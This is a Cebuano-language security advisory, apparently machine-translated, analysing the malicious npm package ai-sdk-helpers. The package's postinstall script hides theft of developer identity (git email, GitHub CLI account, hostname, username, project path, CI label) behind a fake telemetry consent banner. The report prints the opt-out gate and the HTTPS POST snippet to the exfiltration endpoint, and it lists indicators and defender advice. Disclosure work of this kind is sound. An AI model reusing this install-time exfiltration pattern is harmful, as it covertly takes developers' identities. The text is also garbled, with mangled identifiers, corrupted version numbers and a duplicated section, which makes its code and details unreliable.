TL; DR
Usa ka pakete sa npm, ai-sdk-helpers, nagpresentar sa kaugalingon isip usa ka production toolkit para sa Vercel AI SDK, nga nagtanyag og cost tracking, provider fallback, ug streaming helpers.
Ang install-time script niini moabli uban ang usa ka pinasinaw nga disclosure banner nga naghulagway mga dili mailhan nga pagdayagnos, nga nagsaad nga walay source code, token, o credentials nga ipadala, nga nagpasidungog sa usa ka DO_NOT_TRACK pag-opt-out, ug pag-link ngadto sa usa ka panid sa polisiya sa telemetry.
Ang samang script mobasa sa git identity sa developer, GitHub CLI configuration, machine hostname, OS username, working directory, ug CI provider.
Kana nga datos gi-POST isip JSON ngadto sa usa ka Google Cloud Run endpoint, nga nagmugna og klaro nga dili pagtugma tali sa giingon nga polisiya sa telemetry ug sa aktuwal nga mga field nga nakolekta.
Ang pakete gipatik sa baynte-dos ka bersyon sulod sa usa ka 83-segundos nga burst, ug ang install script parehas og byte-for-byte sa matag gi-flag nga bersyon.
Pito sa walo ka bersyon nga gisusi sa among pipeline ang gihatagan og iskor nga dili konklusibo sa ML classifier tungod kay ang consent-banner styling mabasa nga sama sa lehitimong telemetry.
Among giklasipikar ai-sdk-helpers isip malisyoso base sa pagkolekta ug pag-exfiltration sa identidad sa developer sa panahon sa pag-install.
Kagrabe: taas.
Anatomiya sa pag-instalar
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } pagkahuman sa pag-instalar awtomatikong modagan sa npm pag-instalar, sa dili pa ma-import ang bisan unsang gi-anunsyo nga code sa pakete. Ang script mga script/postinstall.js mao ang dapit diin nagpuyo ang tanang pamatasan sa oras sa pag-install.
Kini magsugod uban ang usa ka comment block ug usa ka runtime notice nga gisulat sa rehistro sa usa ka open-source nga proyekto nga nagbantay sa pribasiya:
>Kung imong i-install ang ai-sdk-helpers, mopahigayon kami og dali nga pagsusi sa pagkaangay sa palibot ug mo-report sa mga anonymous nga diagnostic… Ang datos hingpit nga anonymous — among gikolekta ang imong plataporma, bersyon sa Node, ug usa ka one-way hash sa imong machine identifier. Walay source code, token, o credentials nga ipadala.
Nagkonektar pa gani kini og usa ka nagtrabaho nga opt-out gate, ang unang executable code sa file:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ang paghigot una niining ganghaan mao ang makapahimo sa uban nga mabasa nga consensual: usa ka developer nga nagtakda `D_DILI_SUBAKIN` Hilom nga makita nga kompleto ang instalasyon ug gitapos nga ang pakete nagpasidungog sa kombensiyon. Ang honored opt-out tinuod. Ang gi-gate niini, para sa tanan nga wala mag-set niini, mao ang koleksyon nga gihulagway sa ubos — dili ang mas pig-ot nga "plataporma, bersyon sa Node, ug usa ka one-way hash" nga ginganlan sa notice.
Sa ubos sa maong ganghaan, ang script nagtigom og usa ka payload nga molapas sa maong deskripsyon.
- *Gidentidad.* rpagsulbadScmIdentidad()` mga ulo.gitconfig`,`~.config/git/config`,ug ang kasamtangang proyekto nga `.kini/pag-configure`,nag-analisar sa `[ser]` eksyon, ug ibalik ang na-configure commit email. Kon walay config file nga mohatag og email, kini mobalik sa `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,ug `EAIL` mga variable sa palibot. Usa ka docstring sa ibabaw sa function ang nag-frame sa read isip usa ka paagi "sa pag-deduplicate sa mga install sa mga makina nga gipanag-iya sa parehas nga tawo (pananglitan laptop + CI)" — usa ka giingon nga katuyoan nga nanginahanglan usa ka lig-on nga per-developer identifier, nga usa ka commit mga suplay sa email.
- *GtHub account.* rsulbaronGitHubIdentity()` mga ulo.config/gh/hosts.yml` ug `~.config/gh/hosts.yaml` ang configuration file nga gisulat sa GitHub CLI kung ang usa ka developer mo-authenticate — ug regex-extract sa `uer:` ug `esakit:` mga natad. Kana nga file nagtipig usab sa GitHub OAuth token; ang regex sa script espesipikong nagtumong sa username ug mga linya sa email ug wala magkuha sa token. Busa, ang pag-angkon sa disclosure banner nga "walay mga token... nga gipadala" tinuod gyud alang niana nga usa ka natad samtang ang mga naglibot nga account identifier gibasa ug gipadala.
- *Hst ug CI fingerprint.* ang script unya nagkolekta og `o.ngalan sa host()`,`o.userInfo().username`,ang bersyon sa Node, plataporma ug arkitektura, `pproseso.cwd()`,ug usa ka CI-provider label nga gisulbad pinaagi sa pagsusi sa mga environment variable para sa walo ka providers (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ug duha ka generic-CI flags). Ang listahan sa provider mabasa isip usa ka imbentaryo kung asa gilauman nga ipatuman ang script — interactive shells ug automated build pipelineparehas ra.
Kining tanan gigrupo ngadto sa usa ka `dmga agnostiko bject, uban sa mga field sa matag developer nga nakolekta ubos sa usa ka `ientidad ey ug ang datos sa host ubos sa `rntime` ug `cntext` eys, dayon gi-serialize ug gipadala:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Ang tubag ilabay ug ang tanang sayop kalimtan — usa ka komento nag-ingon nga “ang telemetry dili gyud angay makaguba sa instalasyon.” Ang endpoint hostname nag-encode sa usa ka serbisyo sa Google Cloud Run sa `episi-kasadpan1` rehiyon.
Ang kal-ang mao ang istorya. Ang banner nagngalan og tulo ka kategorya sa datos — plataporma, bersyon sa Node, ug hash sa machine-identifier. Ang payload nagpadala sa tinuod nga git sa developer. commit email, ang ilang GitHub username ug email, ang ilang machine hostname ug OS account name, ang ilang project path, ug ang ilang CI environment. Ang mga field nga nagpaila sa *prson ug ang ilang mga account* eksakto sa mga field nga wala gilakip sa pagbutyag.
Ang README nagpalig-on sa framing gikan sa pikas nga bahin. Ang seksyon nga "Telemetry" niini nagsubli sa pag-angkon sa pagka-anonimo ug nagsumpay sa pulong nga `D_DILI_SUBAKIN` o `cnsoledonottrack.com`,ang tinuod nga panid sa komunidad nga nagdokumento sa kombensiyon sa pag-opt-out — nanghulam og giila nga pribasiya standard aron ang pahibalo mabasa sama sa naandan.
Timeline
Usa ra kini ka nadiskobrehan nga usa ra ka pakete nga adunay mubo ug siksik nga kasaysayan sa publikasyon. Walay daghang semana nga kampanya nga masubay — ang tibuok nga han-ay sa bersyon gipaspasan sa makina.
| Kanus-a (UTC) | Hitabo |
|---|---|
| 2026-06-03 20:31:20 | Unang bersyon (0.1.0) gimantala sa npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Tanang 22 ka bersyon (0.1.0 pinaagi sa 1.4.2) gipatik sa usa ka 83-segundos nga awtomatikong pagbuto. |
| 2026-06-04 | Walo ka bersyon ang gimarkahan sa mga signal sa pag-detect; ang manwal nga pag-analisar nagpamatuod sa pagkolekta sa identidad sa oras sa pag-install ug exfiltration. Ang pakete nagpabilin nga live sa npm sa panahon sa pag-analisar. |
Ang 83-segundos nga bintana sa 22 ka semantic nga bersyon mismo usa ka behavioral indicator: ang version ladder (`01.0`,`01.1`,… `14.2`)nagpresentar sa ibabaw sa usa ka aktibong gimentinar nga proyekto nga adunay kasaysayan sa pagpagawas, nga gihimo sa usa ka scripted run. Ang install script dili mausab sa maong hagdanan — tan-awa sa ubos.
Mga timailhan sa kompromiso
Ang payload sa oras sa pag-install parehas sa tibuok nga gimantala nga bersyon. Usa ka `dff` mga fripts/postinstall.js` taliwala sa bersyon `02.1` ug bersyon `14.2` walay gibalik nga kalainan; ang pamatasan usa ra ka piho nga fingerprint, dili usa ka nag-uswag nga payload.
network
Ang 83-segundos nga bintana sa 22 ka semantic nga bersyon mismo usa ka behavioral indicator: ang version ladder (`01.0`,`01.1`,… `14.2`)nagpresentar sa ibabaw sa usa ka aktibong gimentinar nga proyekto nga adunay kasaysayan sa pagpagawas, nga gihimo sa usa ka scripted run. Ang install script dili mausab sa maong hagdanan — tan-awa sa ubos.
Mga timailhan sa kompromiso
Ang payload sa oras sa pag-install parehas sa tibuok nga gimantala nga bersyon. Usa ka `dff` mga fripts/postinstall.js` taliwala sa bersyon `02.1` ug bersyon `14.2` walay gibalik nga kalainan; ang pamatasan usa ra ka piho nga fingerprint, dili usa ka nag-uswag nga payload.
network
| timailhan | papel |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Ang exfiltration endpoint nga nakadawat og mga hangyo sa HTTPS POST gamit ang mga payload sa JSON. Gi-host sa Google Cloud Run sa europe-west1 rehiyon. |
Imprastraktura sa decoy
| timailhan | papel |
|---|---|
ai-sdk.guide | Homepage sa pakete ug live site nga nagsuporta sa identidad sa tagsulat nga "AI SDK Guide". |
ai-sdk.guide/telemetry | Ang URL sa polisiya sa telemetrya nga gihisgutan sa pahibalo sa pagbutyag sa oras sa pag-instalar. |
hello@ai-sdk.guide | Gideklara ang email sa awtor sa package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Tinubdan nga repositoryo nga gideklara sa pakete. |
Gibasa ang mga file sa oras sa pag-install
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `esakit
Mga pirma sa pamatasan
- – m `pstinstall` ook paggamit sa usa ka bundled Node script
- – ganghaan sa pag-opt-out (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_DILI_SUBAKIN`)gipresentar isip usa ka bahin sa pribasiya, una pa sa pagkolekta sa identidad
- – tbound HTTPS POST sa usa ka JSON object nga adunay sulod nga git email, GitHub identity, hostname, OS username, cwd, ug CI label
- – parehas nga install script sa usa ka paspas nga gipatik nga bersyon
Pag-ila ug Naobserbahan nga Kinaiya
Wala kami'y gi-attribute gawas sa narekord sa metadata sa package ug registry.
Ang npm maintainer of record mao ang account nga `aielsimon`,uban sa adres nga `aiel@vigilance.security`.Ang registry naglista sa maong email nga wala pa mapamatud-i ug ang source-control identity sa account nga wala pa mapamatud-i. Ang `pckage.json`,gilain, nagpresentar sa tagsulat isip “AI SDK Guide`ello@ai-sdk.guide>`”nga adunay homepage sa `a-sdk.guide` ug usa ka source repository ubos sa usa ka `gorganisasyon sa thub.com/ai-sdk-guide`. Ang email domain sa publishing account (`vigilance.security`)ug ang identidad sa tagsulat nga naa sa pakete (`a-sdk.guide`)lahi sila nga mga domain.
Ang `a-sdk.guide` Ang ite buhi ug motubag, ug ang `/elemetriya Nasulbad ni ath — ang decoy identity gisuportahan sa usa ka maabot nga presensya sa web imbes nga usa ka patay nga link, nga nagpataas sa katuohan sa framing sa pakete.
**Naobserbahan nga kapabilidad.** Sa panahon sa pag-instalar, ang pakete mobasa sa identidad sa developer ug mga file sa pag-configure sa account, mo-fingerprint sa host ug CI environment, ug ipadala ang resulta ngadto sa usa ka operator-controlled endpoint, samtang nagpakita og pahibalo nga naghulagway sa usa ka mas pig-ot ug wala mailhi nga data set. Among gihulagway kini nga pamatasan; wala kami mag-ingon og motibo alang niini. Ang mga magbabasa nga nag-evaluate sa pakete — lakip ang bisan kinsang partido nga nakaila sa identidad sa pagmantala — kinahanglan nga motimbang-timbang sa naobserbahan nga dili pagsinabtanay tali sa giingon ug sa aktwal nga mga pag-agos sa datos.
Epekto, mga uso, ug giya para sa mga tigpanalipod
Kinsa ang nabuyagyag. Bisan kinsa nga mag-instalar ai-sdk-helpers — direkta o isip usa ka transitive dependency — nagpadagan sa koleksyon sa maong makina. Tungod kay ang trigger kay pagkahuman sa pag-instalar, ang gi-anunsyo nga library code dili na kinahanglan nga i-import aron mahitabo ang data flow; ang pag-install lang igo na. Ang mga palibot nga adunay pinakataas nga bili mao ang mga workstation sa developer nga adunay gi-configure nga git identity ug usa ka authenticated GitHub CLI, ug mga CI runner, diin ang CI-provider detection sa script nagpakita nga ang koleksyon gilauman nga modagan sulod sa build. pipelineingon man sa mga laptop.
Ang gibutyag niini. Dili mga sekreto sa aplikasyon sa kinatibuk-ang kaso — ang payload nakasentro sa pagkatawo: sa developer commit email, ang ilang GitHub account name ug email, ang machine ug account names, ug ang project path. Kana usa ka precisusa ka mapa kung kinsa ang nag-install sa pakete, sa unsang makina, sa unsang repository, ug ubos sa unsang CI system. Para sa usa ka organisasyon, ang pipila ka mga rekord nga gihiusa maglista kung kinsa nga mga inhenyero ug kinsa nga nagtukod sa mga sistema ang nakakuha sa dependency — mapuslanon isip pasiuna sa mas gitarget nga follow-on nga kalihokan, bisan kung ang kaugalingon nga pamatasan niini nga pakete mohunong sa pagkolekta ug pagpadala.
Ang uso: telemetry isip tabon. Ang mga lehitimong himan sa developer nagkolekta og mga anonymous nga diagnostic sa pag-install, ug ang mga kombensiyon alang sa pagbuhat niini nga matinahuron — usa ka pahibalo sa pagbutyag, usa ka AYAW_SUBAY honor, usa ka opt-out flag, usa ka policy URL — kay mga nailhan na. ai-sdk-helpers matinud-anon nga gikopya ang tanan nga upat ka mga kombensiyon ug gigamit kini isip wrapper para sa pagkolekta sa identidad. Ang presensya sa usa ka consent banner, usa ka nagtrabaho nga opt-out, o usa ka link sa palisiya sa pribasiya dili ebidensya nga ang usa ka pakete kasaligan; kini nga mga kontrol dili mahal sundogon. Ang bugtong kasaligan nga pagsusi mao kung unsa gyud ang gibasa sa code ug kung asa gyud kini ipadala.
Kini nga pakete adunay masukod nga epekto sa awtomatik nga triage. Sa tanan nga mga bersyon, ang among pipeline gisusi, ang mga yanong pinulongan nga komento sa install script, mga structured field name, ug ang conventional opt-out gate gi-iskor isip ordinaryo nga telemetry: pito sa walo ang mibalik dili matino gikan sa ML classifier imbes nga malisyoso. Ang signal nga makasulbad sa kalibog wala sa prosa — kini anaa sa piho nga mga file nga giablihan sa script (~/.gitconfig, ~/.config/gh/hosts.yml) ug ang destinasyon nga ipadala niini. Ang usa ka tigsusi, awtomatiko man o tawo, nga mobasa sa pagbutyag ug mohunong didto makaabot sa sayop nga konklusyon; ang determinasyon kinahanglan nga maggikan sa mga kamatuoran sa pag-agos sa datos.
Giya para sa mga tigpanalipod:
- I-install nga ang mga script gi-disable pinaagi sa default — npm install –ignore-scripts, o ibutang ibaliwala-ang-mga-script=tinuod in .npmrc ug ipadagan ang nasusi nga mga lakang sa pagtukod nga klaro. Kini mo-neutralize pagkahuman sa pag-instalar-nagpahinabog koleksyon sa tibuok board.
- Ayaw isipa ang mga kontrol sa pag-opt-out isip mga signal sa pagsalig. AYAW_SUBAY Ang check o ang link nga "telemetry policy" wala magsulti kanimo bahin sa datos nga gikolekta sa script kung ang gate wala ma-set.
- Basaha ang install hook sa dili pa mogamit og AI-ecosystem helper packages. Ang Vercel AI SDK space usa ka paspas nga naglihok ug taas og pagsalig nga target; pagkahuman sa pag-instalar nga makahikap ~/.gitconfig or ~/.config/gh/ usa ka klaro nga signal bisan unsa pa ang pagkasulat sa mga komento sa palibot.
- Monitor build-time egress. Usa ka outbound HTTPS POST atol sa npm pag-instalar, ilabi na sa usa ka bag-ong na-provision nga cloud-function endpoint, makita sa network layer ug usa ka lig-on nga detection point para sa mga CI environment.
- Bantayi ang mga compressed version ladders. Usa ka pakete kansang tibuok semantic-version history makita sulod sa pipila ka segundo, nga adunay wala mausab nga install script, nagpresentar og manufactured maintenance history.





